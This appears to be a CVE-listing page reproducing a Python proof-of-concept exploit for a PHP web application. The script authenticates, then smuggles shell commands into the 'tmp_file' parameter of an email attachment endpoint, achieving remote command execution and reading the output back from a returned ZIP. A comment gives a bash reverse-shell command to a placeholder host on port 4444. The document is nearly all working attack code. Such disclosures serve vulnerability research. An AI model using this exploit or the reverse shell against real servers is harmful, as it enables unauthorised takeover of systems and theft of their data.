4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
import io
import os
import sys
import uuid
import zipfile
import requests

TARGET_URL = "http://localhost:9090"
USER_NAME = "user"
PASSWORD = "[PASSWORD]"
CMD = "id" # CMD = "bash -c 'bash -i >& /dev/tcp/XXXX.XXXX.XXXX.XXXX/4444 0>&1'" For reverse shell

def index_url(base_url: str) -> str:
    if base_url.endswith(".php"):
        return base_url
    return base_url.rstrip("/") + "/index.php"


def login(session: requests.Session) -> str:
    url = index_url(TARGET_URL) + "?r=core/auth/login"
    headers = {"X-Requested-With": "XMLHttpRequest"}
    data = {"username": USER_NAME, "password": PASSWORD}

    print(f"[*] Target: {TARGET_URL}")

    resp = session.post(url, data=data, headers=headers)
    try:
        body = resp.json()
    except Exception:
        print("[!] Login response is not JSON")
        print(f"    Status: {resp.status_code}")
        print(f"    Body (first 200 chars): {resp.text[:200]}")
        sys.exit(1)

    print(f"[*] Login status: {resp.status_code}")

    if not body.get("success"):
        print("[!] Login failed")
        print(f"    Response: {body}")
        sys.exit(1)

    token = body.get("security_token")
    if not token:
        print("[!] Missing security_token in login response")
        print(f"    Response: {body}")
        sys.exit(1)

    print("[*] Login ok, security_token received")

    return token


def exploit(session: requests.Session, security_token: str) -> None:
    url = index_url(TARGET_URL) + "?r=email/message/tnefAttachmentFromTempFile"
    marker = "RCE_POC_" + uuid.uuid4().hex[:8]
    payload = f"dummy.dat;{CMD} > /tmp/id;{CMD} > rce.txt;echo {marker} >> rce.txt;#"
    params = {"tmp_file": payload, "security_token": security_token}
    print(f"[*] Exploit URL: {url}")
    print(f"[*] tmp_file payload: {payload}")
    resp = session.get(url, params=params)
    if resp.status_code != 200:
        print(f"[!] Unexpected HTTP status: {resp.status_code}")
    print(f"[*] Response status: {resp.status_code}")

    try:
        zf = zipfile.ZipFile(io.BytesIO(resp.content))
    except zipfile.BadZipFile:
        print("[!] Response is not a ZIP file")
        print(f"    Body (first 200 chars): {resp.text[:200]}")
        return

    if "rce.txt" not in zf.namelist():
        print("[!] ZIP received but rce.txt not found")
        print(f"    Files: {zf.namelist()}")
        return

    data = zf.read("rce.txt").decode(errors="replace").strip()
    if marker in data:
        print(f"[+] RCE Confirmed")
        output = data.replace(marker, "").strip()
        print(f"[+] Command output ({CMD}):")
        print(output)
    else:
        print("[!] rce.txt found but marker missing")
        print(f"    rce.txt content: {data}")


def main() -> None:
    session = requests.Session()
    token = login(session)
    exploit(session, token)


if __name__ == "__main__":
    main()